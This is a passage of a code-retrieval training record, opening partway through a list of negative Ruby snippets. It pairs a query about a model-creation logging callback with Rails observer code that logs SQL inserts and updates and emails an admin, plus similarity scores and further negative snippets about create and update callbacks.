"def appctrl_create( model )\n return appctrl_not_permitted() if ( @current_user.restricted? )\n @record = model.constantize.new( params[ model.downcase ], @current_user )\n\n if ( @record.save )\n view_context.apphelp_flash(\n :notice,\n :added,\n ApplicationController,\n :name => @record.class.model_name.human\n )\n\n redirect_to( send( \"#{ model.downcase.pluralize }_path\" ) )\n else\n render( :action => 'new' )\n end\n end",
"def create_table?(*args, &block)\n if !db.table_exists?(model.table_name)\n create_table(*args, &block)\n end\n end",
"def new_record(params = {})\n @model_class.new(params)\n end",
"def new_record(params = {})\n @model_class.new(params)\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end"
] |
[
"0.6343353",
"0.6130924",
"0.6093625",
"0.60791415",
"0.6079003",
"0.6056047",
"0.6046814",
"0.59508175",
"0.5893738",
"0.5810707",
"0.5807338",
"0.5772318",
"0.5708794",
"0.5696294",
"0.5682024",
"0.5659113",
"0.56524545",
"0.5640402",
"0.55921865",
"0.55921865",
"0.5517398",
"0.55094427",
"0.5506606",
"0.55028844",
"0.5494879",
"0.54882026",
"0.5472847",
"0.5461793",
"0.54616535",
"0.5441731",
"0.54106575",
"0.53913575",
"0.53807676",
"0.5373811",
"0.5373811",
"0.53677607",
"0.5354464",
"0.53503543",
"0.53499955",
"0.5341202",
"0.53393483",
"0.5338456",
"0.53186315",
"0.5315251",
"0.5311247",
"0.53096735",
"0.53096735",
"0.53078616",
"0.5304913",
"0.5303908",
"0.52996725",
"0.52989876",
"0.5287131",
"0.52736527",
"0.5260043",
"0.5259765",
"0.5258373",
"0.5256444",
"0.5247894",
"0.52391607",
"0.5233848",
"0.52238184",
"0.52231085",
"0.52199894",
"0.52175325",
"0.5212736",
"0.5209737",
"0.52095604",
"0.5201364",
"0.5198454",
"0.51974046",
"0.5192399",
"0.5191031",
"0.51866996",
"0.51808405",
"0.5174662",
"0.5171251",
"0.51591855",
"0.5152053",
"0.5148683",
"0.51402354",
"0.5138528",
"0.5138425",
"0.513468",
"0.5102238",
"0.50972193",
"0.5095665",
"0.509302",
"0.5091807",
"0.50884926",
"0.5084444",
"0.50841504",
"0.5083933",
"0.50767857",
"0.5074914",
"0.50747275",
"0.50747275",
"0.5072712",
"0.5072678",
"0.5072678"
] |
0.5166273
|
77
|
++ Callback for when a new row from the model is created. Logs the action, the instance and the linked user, if available.
|
def after_create(record)
contents = to_sql_insert(record)
to_logfile(contents)
# Send a notification to the admin, if requested:
if @email_on_create
AgexMailer.action_notify_mail(
record.respond_to?(:user) ? record.user : nil,
"#{@table_name} row CREATED",
contents
).deliver
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end",
"def on_creating_entry(state, event, *event_args)\n super\n\n # TODO: simulation - remove\n if simulating\n action =\n case existing_record\n when false then :set_record\n when true then :reset_record\n else :create_record\n end\n if action == :create_record\n # From UploadController#new:\n # @item = new_record(user_id: @user.id, base_url: request.base_url)\n __debug_sim('CODE') do\n args = 'user_id: @user.id, base_url: request.base_url'\n \"@item = new_record(#{args})\"\n end\n submission.set_item\n else\n action = :set_record\n end\n else\n action = :create_record\n end\n\n unless simulating\n wf_start_submission(*event_args)\n end\n\n # TODO: simulation - remove\n __debug_sim do\n case action\n when :set_record then 'Form error message displayed if present.'\n when :reset_record then 'New-item form emptied after cancel.'\n else 'System presents a new-item submission form.'\n end\n end\n\n # TODO: simulation - remove\n commit = file_valid? ? 'submit' : 'upload'\n __debug_sim('USER fills form until submit is enabled.')\n __debug_sim(\"USER must `cancel!` or `#{commit}!` to advance...\")\n\n self\n end",
"def create(*)\n super.tap do\n __debug_sim('USER initiates submission of new entries.')\n end\n end",
"def enter_created; end",
"def handle_create\n obj = model.new(nil, request)\n model.set_fields(obj, :new, request, model_params)\n model.hook(:before_create, request, obj)\n if model.save(obj)\n model.hook(:after_create, request, obj)\n request.set_flash_notice(\"Created #{model.class_name}\")\n redirect(:new, obj)\n else\n request.set_flash_now_error(\"Error Creating #{model.class_name}\")\n new_page(obj)\n end\n end",
"def history_create\n # history_log('created', created_by_id)\n end",
"def create_change_log_entry\n @change_log = @backup.create_change_log_entry(params[:action])\n @change_log.save!\n end",
"def after_create_save(record); end",
"def after_created\n logger.debug(\" ##### after created called for #{@model.inspect}\")\n redirect_to :action => 'show', :id => @model\n end",
"def create\n @object = @model_class.new(params[@model_class.name.tableize.singularize.to_sym])\n @model_class.transaction do\n @object.save!\n create_change_log_entry\n end\n respond_to do |format|\n flash[:notice] = @model_class.name.humanize + ' was successfully created.'\n format.html { redirect_to(@object) }\n format.xml { render :xml => @object, :status => :created, :location => @object }\n end\n end",
"def create_log\n UserActivityLog.using_client_shard(client: @client).create!(\n user_id: @user_id,\n admin_id: @admin_id,\n log_type: log_type,\n action: @action,\n action_timestamp: @action_timestamp,\n e_data: @e_extra_data\n )\n end",
"def activity_log_create\n write_activity_log(:create)\n end",
"def new_record?; end",
"def new_record?; end",
"def new\n __log_activity\n __debug_route\n @item = new_record\n user_authorize!\n rescue => error\n failure_status(error)\n end",
"def handle_insert action, result; end",
"def created(item)\n end",
"def create\n self.id = connection.insert(\n \"INSERT INTO #{self.class.table_name} \" +\n \"(#{quoted_column_names.join(', ')}) \" +\n \"VALUES(#{attributes_with_quotes.values.join(', ')})\",\n \"#{self.class.name} Create\",\n self.class.primary_key, self.id\n )\n \n @new_record = false\n end",
"def createNewInstance(controller, editable)\n AuditTab.new(@callbacks, editable)\n end",
"def handle_new\n obj = model.new(request.params[model.link], request)\n model.hook(:before_new, request, obj)\n new_page(obj)\n end",
"def when_created(&block)\n if self.new_record?\n after_create(&block)\n else\n block.call(self)\n end\n end",
"def log_action(action, user, record, model)\n begin\n # Create a new ActionLog Object\n event = ActionLog.new()\n \n # Add the user to this object\n event.user = user\n \n # Add the action to this object\n event.action = action\n \n # Save the model type and its record ID(s) to this object\n event.target = model.to_s + ':' + record.to_s\n \n # Save the time of the event\n event.time_of_action = (Time.now.getutc - 7*60*60).to_s.gsub('UTC','PST')\n \n # Save this event to database\n event.save!\n\n rescue => e\n \n end\n end",
"def after_create(model)\n watching = model.watchings.new(:user_id => current_user, :creator => true)\n watching.save\n end",
"def new\n @record = model.new\n # call before actions created in the DSL\n if resource.before_actions[:new]\n resource.before_actions[:new].call(@record)\n end\n end",
"def did_create\n @new_record = false\n self.class.identity_map[self.id] = self\n self.class.all.push self\n\n trigger_events(:create)\n end",
"def create_log_item(options = {})\n options.reverse_merge! :note => 'System Generated', :user_id => self.id\n LogItem.create(options)\n end",
"def create_record(model, *args)\n record = new_record(model, *args)\n record.save!\n record.reload\n record\n end",
"def create\n @log_entry = LogEntry.new(log_entry_params)\n\n if @log_entry.save\n redirect_to @log_entry\n else\n render 'new'\n end\n end",
"def action_create\n @original_cron_provider.action_create\n @new_resource.updated_by_last_action(@original_cron_provider.new_resource.updated_by_last_action?)\n true\n end",
"def new\n # You need to be able to create one of these.\n for_auth do |u|\n u.can_create? model_class.new\n end\n\n @title = \"New #{model_class.to_s.demodulize.titleize}\"\n @form_action = :new\n\n if request.post?\n begin\n # Create model\n CortexReaver.db.transaction do\n @model = model_class.new\n\n # Initial callbacks\n if block = self.class.on_save_block\n block.call(@model, request)\n end\n if respond_to? :on_save\n on_save(@model, request)\n end\n if block = self.class.on_create_block\n block.call(@model, request)\n end\n if respond_to? :on_create\n on_create(@model, request)\n end\n\n # Save for the first time\n raise unless @model.save\n\n # Second save callback, if applicable\n if block = self.class.on_second_save_block\n block.call(@model, request)\n end\n if respond_to? :on_second_save\n on_second_save @model, request\n end\n if block or respond_to? :on_second_save\n raise unless @model.save\n end\n\n flash[:notice] = \"Created #{model_class.to_s.demodulize.downcase} #{h @model.to_s}.\"\n redirect @model.url\n end\n rescue => e\n # An error occurred\n Ramaze::Log.error e.inspect + e.backtrace.join(\"\\n\")\n\n if e.is_a? Sequel::ValidationFailed\n flash[:error] = \"Couldn't update #{model_class.to_s.demodulize.downcase} #{h @model.to_s}, because there were errors in the form.\"\n else\n flash[:error] = \"Couldn't create #{model_class.to_s.demodulize.downcase} #{h request[:title]}: #{h e}.\"\n end\n\n set_singular_model_var @model\n end\n else\n set_singular_model_var model_class.new\n end\n end",
"def create\n @change_log_entry = ChangeLogEntry.new(change_log_entry_params)\n @change_log_entry.rulemaking = current_rulemaking\n\n respond_to do |format|\n if @change_log_entry.save\n format.html { redirect_to change_log_entries_path, notice: 'Activity log entry was successfully created.' }\n format.json { render :show, status: :created, location: @change_log_entry }\n else\n format.html { render :new }\n format.json { render json: @change_log_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def after_create(record)\n create_event_log(record, 'created')\n end",
"def on_new_success(payload)\n @user = payload\n end",
"def after_create(resource)\n add_activity(:create, resource)\n end",
"def before_create_save(record); end",
"def after_create; end",
"def create\n begin\n @entry = LogEntry.new(params[:log_entry])\n @entry.user = @current_user\n @entry.save!\n flash[:notice] = \"New log entry created\"\n rescue Exception => e\n RAILS_DEFAULT_LOGGER.info \"error creating log entry: #{e}\"\n flash[:error] = \"Unable to create log entry: #{e}\"\n end\n\n return redirect_to(:action => :index)\n end",
"def click_through\n if ClickEvent.create!(hash_params)\n logger.info \"Databse Entry created\"\n else\n logger.error \"\\n\\nError on #{Date.today}:\"\\\n \"\\n\\tIp Address: #{request.ip}\"\\\n \"\\n\\Access Path: #{request.path}\"\\\n \"\\n\\tBrowser Type: #{request.user_agent}\"\n end\n redirect_to @decoded[:redirect]\n end",
"def create\n @record = model.new(record_params)\n # call before actions created in the DSL\n if resource.before_actions[:create]\n resource.before_actions[:create].call(@record)\n end\n if @record.save\n redirect_to polymorphic_path([app_kit, @record])\n else\n puts @record.errors.full_messages.inspect\n render 'new'\n end\n end",
"def on_create(&block)\n @on_create_hook = block\n self\n end",
"def create_record(model, *args)\n record = new_record(model, *args)\n record.save!\n record.reload\n record\n end",
"def create\n __log_activity\n __debug_route\n @item = create_record(no_raise: true)\n errors = @item&.errors || 'Not created' # TODO: I18n\n user_authorize!\n respond_to do |format|\n if errors.blank?\n format.html { redirect_success(__method__) }\n format.json { render :show, location: @item, status: :created }\n else\n format.html { redirect_failure(__method__, error: errors) }\n format.json { render json: errors, status: :unprocessable_entity }\n end\n end\n rescue Record::SubmitError => error\n post_response(:conflict, error)\n rescue => error\n post_response(error)\n end",
"def create\n create_entry\n end",
"def after_create_cb\n Rails.logger.warn \"after_create_cb #{self}\"\n end",
"def do_new\n @record = new_model\n apply_constraints_to_record(@record)\n create_association_with_parent(@record) if nested?\n @record\n end",
"def create\n run_callbacks :create do\n true\n end\n end",
"def after_created; end",
"def log_create\n TopicCreate.create!(:topic_id => self.id)\n end",
"def add_to_database\n if self.unique?\n CONNECTION.execute(\"INSERT INTO logs (user_id, train_id) VALUES (#{self.user_id}, #{self.train_id});\")\n @id = CONNECTION.last_insert_row_id\n \n return self\n end\n end",
"def new_user_handler\n nil\n end",
"def create_change_log_entry(object_id = nil, user_id = nil, action = nil, comments = nil)\n action = params[:action] if action.nil?\n comments = params[:change_log][:comments] unless !comments.nil? || (params[:change_log].nil? || params[:change_log][:comments].blank?)\n object_id = @object.id if object_id.nil?\n user_id = current_user.id if logged_in?\n if (comments.nil?)\n case action\n when 'create'\n comments = 'Initial creation of ' + params[:controller].singularize + '.'\n when 'update'\n comments = 'Updating information for ' + params[:controller].singularize + '.'\n else\n # Default to just listing the controller name and action\n comments = \"#{params[:controller]} #{params[:action]}\"\n end\n end\n @change_log = ChangeLog.new({:object_id => object_id, :user_id => user_id, :action => action, :comments => comments, :performed_at => Time.now.to_s(:db), :object_class => params[:controller].singularize})\n @change_log.save!\n end",
"def create\n\t\tlink = current_user.links.new(link_params)\n\n\t\trespond_to do | format |\n\t\t\tif link.save\n\t\t\t\tformat.html{\n\t\t\t\t\tredirect_to link\n\t\t\t\t}\n\t\t\telse\n\t\t\t\tformat.html{\n\t\t\t\t\trender action: \"new\"\n\t\t\t\t}\n\t\t\tend\n\t\tend \n\t\t\n\tend",
"def create\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname) {\"params=#{params.inspect}\"}\n\t\t@relation = Relation.new(params[:relation])\n\t\t@views = View.all\n\t\t@types = Typesobject.get_types(\"relation\")\n\t\t@status = Statusobject.get_status(\"relation\")\n\t\trespond_to do |format|\n\t\t\tLOG.debug(fname) {\"relation=#{@relation.inspect}\"}\n\t\t\tif params[:fonct][:current] == \"new_dup\"\n\t\t\t\tobject_orig=Relation.find(params[:object_orig_id])\n\t\t\tst = @relation.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @relation.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\tflash[:notice] = t(:ctrl_object_created,:typeobj =>t(:ctrl_relation),:ident=>@relation.ident)\n\t\t\t\t#format.html { redirect_to(@relation, :notice => 'Relation was successfully created.') }\n\t\t\t\tparams[:id]=@relation.id\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { render :xml => @relation, :status => :created, :location => @relation }\n\t\t\telse\n\t\t\t\tflash[:error] =t(:ctrl_object_not_created, :typeobj =>t(:ctrl_relation), :msg => @relation.ident)\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @relation.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @instance_action = InstanceAction.new(params[:instance_action])\n\n respond_to do |format|\n if @instance_action.save\n format.html { redirect_to @instance_action, notice: 'Instance action was successfully created.' }\n format.json { render json: @instance_action, status: :created, location: @instance_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instance_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def autolog_created\n autolog_event(:created)\n end",
"def new\n redirect_to root_path unless current_user.is_admin?\n @user = current_user\n @quiz = Quiz.create!\n @log = Log.new\n @log.update_attributes(userid: @user.id, user: @user.email, event: \"Quiz Created\")\n redirect_to edit_quiz_path(@quiz)\n end",
"def redirect_after_model_created(model)\n url = caller_url\n if url\n redirect_to url\n else\n redirect_to model\n end\n end",
"def create\n check_fields\n sql = \"INSERT INTO #{table} VALUES (NULL,#{to_create_record_str})\"\n Database.transaction(sql)\n sql = \"SELECT id FROM #{table} WHERE #{to_find_id_str}\"\n @id = Database.execute(sql).last[0]\n @log.debug \"Record[#{self}] is added to Table[#{table}]\"\n end",
"def _after_create(pk)\n # SEQUEL5: Remove\n @this = nil\n @new = false\n @was_new = true\n end",
"def create\n # Create a new record from the params and make it become\n # an external system (e.g. Primo) object if possible\n # in order to kick off callbacks\n @record = user.records.new(record_params).becomes_external_system\n flash[:notice] = t('record.flash.actions.create.notice') if @record.save!\n # Need to specify location due to external system inheritance\n respond_with(@record, location: record_url(@record))\n end",
"def do_create(options = {})\n attributes = options[:attributes] || params[:record]\n active_scaffold_config.model.transaction do\n @record = update_record_from_params(new_model, active_scaffold_config.create.columns, attributes)\n apply_constraints_to_record(@record, :allow_autosave => true)\n create_association_with_parent(@record) if nested?\n before_create_save(@record)\n # errors to @record can be added by update_record_from_params when association fails to set and ActiveRecord::RecordNotSaved is raised\n self.successful = [@record.keeping_errors { @record.valid? }, @record.associated_valid?].all? # this syntax avoids a short-circuit\n create_save(@record) unless options[:skip_save]\n end\n rescue ActiveRecord::ActiveRecordError => ex\n flash[:error] = ex.message\n self.successful = false\n @record ||= new_model # ensure @record exists or display form will fail\n end",
"def add_new_user()\n new_user_link.click\n end",
"def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end",
"def create\n @called_from = params[:called_from] || 'user'\n respond_to do |format|\n if @online_retailer_user.save\n format.html { redirect_to([:admin, @online_retailer_user], notice: 'User was successfully created.') }\n format.xml { render xml: @online_retailer_user, status: :created, location: @online_retailer_user }\n format.js\n website.add_log(user: current_user, action: \"Created #{@online_retailer_user.online_retailer.name} user: #{@online_retailer_user.user.name}\")\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @online_retailer_user.errors, status: :unprocessable_entity }\n format.js { render plain: \"Error\"}\n end\n end\n end",
"def create\n @table_relation = TableRelation.new(table_relation_params)\n respond_to do |format|\n if @table_relation.save\n auto_field\n format.html { redirect_to edit_database_table_path(@database, @table), notice: 'Table relation was successfully created.' }\n format.json { render :show, status: :created, location: @table_relation }\n else\n format.html { render :new }\n format.json { render json: @table_relation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Entry\n @entry = current_user.entries.new(entry_params)\n respond_to do |format|\n if @entry.save\n # TODO refactor this to model\n # @entry.check_for_alert or something like\n # prob best in an after_save hook - tim\n if @entry.any_danger?\n @alert = Alert.new(alert_params)\n @alert.member_id = current_user.id\n @alert.alert_type = @entry.alert_type_method\n @alert.alert_body = @entry.alert_body_method\n @alert.save\n end\n\n flash[:success] = \"Entry Updated!\"\n format.html { redirect_back fallback_location: root_path }\n else\n format.html { render :new }\n end\n end\n end",
"def save_action\n if new_record?\n :create\n elsif self.id.present?\n :update\n else\n raise MotionModelResource::ActionNotImplemented.new \"Action ist not implemented for #{self.class.name}!\"\n end\n end",
"def create\n @row = Row.new(row_params)\n\n respond_to do |format|\n if @row.save\n format.html { redirect_to @row, notice: 'Row was successfully created.' }\n format.json { render :show, status: :created, location: @row }\n else\n format.html { render :new }\n format.json { render json: @row.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Submit de new, crea nueva instance en DB.\n end",
"def new_record?() true end",
"def created(item)\n bowline.created(\n name, \n item.id, \n item.to_js\n ).call\n end",
"def new\n\t\tpre_new\n\tend",
"def create_log_entry\n Rails.logger.debug(\"@@@ create_log_entry: task = #{@task.inspect} event = #{@event.inspect}\")\n params = Hash.new\n params[:user_id] = current_user.id\n params[:role_id] = current_user.role.id\n params[:ot_id] = @task.ot.id\n params[:task_id] = @task.id\n params[:description] = \"Transicion de #{@task.current_state} a #{@task.current_state.events[@event.to_sym].transitions_to}\"\n log_entry = Audit.new(params)\n log_entry.save\n end",
"def create_new( entity_instance, caller_class_name )\n # Serialize the creation:\n if entity_instance.save\n sql_diff_text_log << to_sql_insert( entity_instance, false, \"\\r\\n\" )\n add_to_log( \"New #{ entity_instance.class.name } created. ID: #{ entity_instance.id }\" )\n @has_created = true\n else\n if entity_instance.invalid?\n sql_diff_text_log << \"-- INSERT VALIDATION FAILURE in #{ caller_class_name }: #{ ValidationErrorTools.recursive_error_for( entity_instance ) }\\r\\n\"\n add_to_log( \"INSERT VALIDATION FAILURE in #{ caller_class_name }: #{ ValidationErrorTools.recursive_error_for( entity_instance ) }\" )\n @has_errors = true\n end\n if $!\n sql_diff_text_log << \"-- INSERT FAILURE in #{ caller_class_name }: #{ $! }\\r\\n\" if $!\n add_to_log( \"INSERT FAILURE in #{ caller_class_name }: #{ $! }\" )\n @has_errors = true\n end\n end\n end",
"def create\n push_to_db\n end",
"def create\n push_to_db\n end",
"def add_to_log\n user_name = self.user.name || self.user.email.split('@')[0]\n Log.create!(loggingtype: 2,user_id_1: self.user.id ,user_id_2: nil,admin_id: nil,story_id: self.story.id ,interest_id: nil,message: (user_name+\" commented on \\\"\" + self.story.title + \"\\\" with \\\"\" + self.content + \"\\\"\").to_s )\n Admin.push_notifications \"/admins/index\" ,\"\"\n end",
"def create\n @action_log = ActionLog.new(action_log_params)\n\n respond_to do |format|\n if @action_log.save\n format.html { redirect_to @action_log, notice: 'Action log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @action_log }\n else\n format.html { render action: 'new' }\n format.json { render json: @action_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def custom_action\n :new_note\n end",
"def validate_on_create; end",
"def duplicate\n if request.post?\n old_user_training_rows = UserTrainingRow.where( user_training_id: @user_training.id )\n new_user_training = UserTraining.new( @user_training.attributes.reject{|e| ['id','lock_version','created_at','updated_at'].include?(e)} )\n new_user_training.description = \"#{I18n.t(:copy_of)} \"\"#{@user_training.description}\"\"\"\n new_user_training.user_id = current_user.id\n\n begin\n if new_user_training.save!\n old_user_training_rows.each { |old_row|\n new_row = UserTrainingRow.new( old_row.attributes.reject{|e| ['id','lock_version','created_at','updated_at'].include?(e)} )\n new_row.user_training_id = new_user_training.id\n new_row.save!\n }\n flash[:info] = I18n.t('user_trainings.training_created')\n redirect_to( edit_user_training_path(new_user_training) ) and return\n end\n rescue\n flash[:error] = \"#{I18n.t('something_went_wrong')}\"\n redirect_to( user_trainings_path() ) and return\n end\n else\n flash[:error] = I18n.t(:invalid_action_request)\n redirect_to( user_trainings_path() ) and return\n end\n end",
"def visit_new_page(model, **opt, &block)\n visit_action_page(model, :new, **opt, &block)\n end",
"def before_create\n @added = true\n super\n end",
"def create_created\n controller.create_created(resource: resource)\n end",
"def new_thread()\n db = SQLite3::Database.new('db/db.db')\n opid = db.execute(\"SELECT UserId FROM users WHERE Username=(?)\", session[:user])\n if opid != nil\n db.execute(\"INSERT INTO threads(Title, Description, OpId) VALUES(?, ?, ?)\", params[\"title\"], params[\"description\"], opid)\n else\n redirect('/')\n end\n redirect('/')\nend",
"def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end",
"def after_insert(row_obj)\r\n \r\n record = by_primary_id(row_obj.primary_id)\r\n \r\n test_event_id = record.fields[\"test_event_id\"].value\r\n record.fields[\"test_id\"].value = $tables.attach(\"TEST_EVENTS\").field_by_pid(\"test_id\",test_event_id).value\r\n record.save\r\n \r\n field = record.fields[\"test_event_site_id\"]\r\n if !(field.value.nil?)\r\n \r\n update_attendance_record(field)\r\n \r\n end\r\n \r\n end",
"def on_create_success(entity)\n Responder::CreateSuccess.new(self).respond_to entity\n end",
"def before_save #def self.before_save()\n @my_log.info(\"Creating user with name #{self.name}\")\n end",
"def action_add\n notifying_block do\n create_config\n end\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record?\n end",
"def create\n @user_has_role_for_node = UserHasRoleForNode.new(user_has_role_for_node_params)\n if @user_has_role_for_node.lead\n @lead = \" Lead\"\n else\n @lead = \"\"\n end\n @log_statement = \"Added \" + @user_has_role_for_node.user.display_name + \" as a \" + @user_has_role_for_node.role.name + @lead\n respond_to do |format|\n if @user_has_role_for_node.save\n if @user_has_role_for_node.node != nil\n @log = NodeHistory.new(:user_id => @current_user.id, :node_id => @user_has_role_for_node.node.id,\n :log => @log_statement)\n @log.save\n end\n format.html { redirect_to @user_has_role_for_node, notice: 'User has role for node was successfully created.' }\n format.json { render :show, status: :created, location: @user_has_role_for_node }\n else\n format.html { render :new }\n format.json { render json: @user_has_role_for_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_user\n \trender action: 'new_user'\n end",
"def log_registration\n if request.post? # === POST: ===\n log_action(\n \"new User signed-up!\",\n \"Params: #{remove_passwords( params ).inspect}\\r\\n\\r\\nUpdated users total: #{User.count}\\r\\n\\r\\nCurrent user instance: #{current_user.inspect}\"\n )\n elsif request.delete? # === DELETE: ===\n log_action(\n \"existing User deleted!\",\n \"Params: #{remove_passwords( params ).inspect}\\r\\n\\r\\nUpdated users total: #{User.count}\\r\\n\\r\\nCurrent user instance: #{current_user.inspect}\"\n )\n end\n end",
"def create\n super do |resource|\n resource.update_attributes(current_provider: @current_provider)\n Rails.logger.info \"kasmdlkamsdlkamdslaksmdalksmdalksdmlas\"\n Rails.logger.info resource.inspect\n end\n end",
"def create\r\n end"
] |
[
"0.62272257",
"0.5960874",
"0.5947744",
"0.5945002",
"0.5897008",
"0.58801216",
"0.58084255",
"0.58036363",
"0.5776784",
"0.5671715",
"0.5650066",
"0.5642452",
"0.5640213",
"0.5640213",
"0.5626831",
"0.55788386",
"0.55644894",
"0.5503497",
"0.5462635",
"0.5462394",
"0.54621494",
"0.5459682",
"0.54399323",
"0.5428305",
"0.54200256",
"0.54132235",
"0.53976935",
"0.53921705",
"0.53879654",
"0.53878695",
"0.53588295",
"0.5354891",
"0.5352664",
"0.5341747",
"0.53292143",
"0.53273207",
"0.53196734",
"0.5318313",
"0.53168684",
"0.53067684",
"0.5297326",
"0.5287059",
"0.52811694",
"0.5270966",
"0.5257789",
"0.5238349",
"0.5227424",
"0.5214486",
"0.52017254",
"0.51996416",
"0.5198341",
"0.5198138",
"0.51806045",
"0.51729774",
"0.51661587",
"0.51544",
"0.5127264",
"0.51220137",
"0.5118652",
"0.5117463",
"0.51093864",
"0.5105482",
"0.5105237",
"0.5092838",
"0.50897014",
"0.5086287",
"0.5086168",
"0.50830054",
"0.50818205",
"0.50813276",
"0.5068325",
"0.5066186",
"0.50637317",
"0.5063162",
"0.5059948",
"0.5059948",
"0.5056406",
"0.50512856",
"0.50447315",
"0.5040679",
"0.5035854",
"0.5033914",
"0.5027797",
"0.50177765",
"0.5016966",
"0.50154793",
"0.501264",
"0.5009834",
"0.50069773",
"0.50030684",
"0.500248",
"0.500248",
"0.500248",
"0.500248",
"0.49999315",
"0.4996599",
"0.49962783",
"0.4991906",
"0.4988659",
"0.4986135"
] |
0.6346749
|
0
|
Callback for when a new row from the model is updated. Logs the action, the instance and the linked user, if available.
|
def after_update(record)
contents = to_sql_update(record)
to_logfile(contents)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after_update_save(record); end",
"def handle_update\n obj = model.with_pk(normalized_type, request, request.id)\n model.set_fields(obj, :edit, request, model_params)\n model.hook(:before_update, request, obj)\n if model.save(obj)\n model.hook(:after_update, request, obj)\n request.set_flash_notice(\"Updated #{model.class_name}\")\n redirect(:edit, obj)\n else\n request.set_flash_now_error(\"Error Updating #{model.class_name}\")\n edit_page(obj)\n end\n end",
"def update\n @model_class.transaction do\n @object.update_attributes!(params[@object.class.name.tableize.singularize.to_sym])\n create_change_log_entry\n end\n respond_to do |format|\n flash[:notice] = @model_class.name + ' was successfully updated.'\n format.html { redirect_to(@object) }\n format.xml { head :ok }\n end\n end",
"def track_record_update\n true\n end",
"def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end",
"def save_row_change\n row.updated_at = Time.now\n row.save\n end",
"def after_update(resource)\n add_activity(:update, resource)\n end",
"def before_update_save(record); end",
"def post_updates\n reload if new_resource.updated_by_last_action? && new_resource.reload\n post_up(new_resource.post_up) unless new_resource.post_up.nil? || !new_resource.updated_by_last_action?\n end",
"def update_user_tracking!\n unless self.new_record?\n self.updater = \n UserTracking.current_user || \n (raise UserTracking::Error, \"current user is not defined\")\n end\n end",
"def autolog_updated\n autolog_event(:updated)\n end",
"def edit(*)\n super.tap do\n __debug_sim('USER initiates modification of existing entries.')\n end\n end",
"def update_instance!\n\t\tself.last_attempted = Time.now\n\t\tself.save\n\tend",
"def create_change_log_entry\n @change_log = @backup.create_change_log_entry(params[:action])\n @change_log.save!\n end",
"def on_update; end",
"def after_update_callback\n puts('----------after_updateをコール----------')\n end",
"def before_update; end",
"def controller_timelog_edit_before_save(context={})\n if context[:params][:action] == 'create'\n # get the user id submitted by the form\n user_id = context[:params][:user][:user_id]\n begin\n selected_user = User.find(user_id.to_i)\n\n # get the time_entry given by the hook\n time_entry = context[:time_entry]\n\n # set the user\n time_entry.attributes = { :user => selected_user }\n rescue\n # don't do anything. The hook caller will have set the user\n # with User.current\n end\n end\n end",
"def after_create(record)\n contents = to_sql_insert(record)\n to_logfile(contents)\n # Send a notification to the admin, if requested:\n if @email_on_create\n AgexMailer.action_notify_mail(\n record.respond_to?(:user) ? record.user : nil,\n \"#{@table_name} row CREATED\",\n contents\n ).deliver\n end\n end",
"def touch_when_logging\n self.log_updated_at = Time.zone.now\n save\n end",
"def updated_by\n if self.logs.where(:action => :update).count > 0\n self.logs.where(:action => :update).desc(:created_at).limit(1).first.user\n end\n end",
"def activity_on_update\n # Either use #changed? method for Rails < 5.1 or #saved_changes? for recent versions\n create_activity(:update) if respond_to?(:saved_changes?) ? saved_changes? : changed?\n end",
"def updated_by_last_action(arg) # rubocop:disable TrivialAccessors\n @updated = arg\n end",
"def audit_update(object, old_attributes, new_attributes)\n Audit.create!(\n created_at: Time.current,\n user_email: current_user.email,\n table_name: object.class.table_name,\n record_id: object.respond_to?(:id) && object.id || nil,\n action: 'update',\n before: old_attributes,\n after: new_attributes\n )\n end",
"def log_activity\n BgJob.enqueue(\n UserActivityLogJob,\n {\n client_id: @client_id,\n user_id: @user_kyc_detail.user_id,\n admin_id: @admin.id,\n action: GlobalConstant::UserActivityLog.update_ethereum_address,\n action_timestamp: Time.now.to_i,\n extra_data: {\n case_id: @case_id,\n old_encrypted_u_e_d_ethereum_address: @old_ethereum_address,\n old_md5_ethereum_address: @old_md5_ethereum_address\n }\n }\n )\n end",
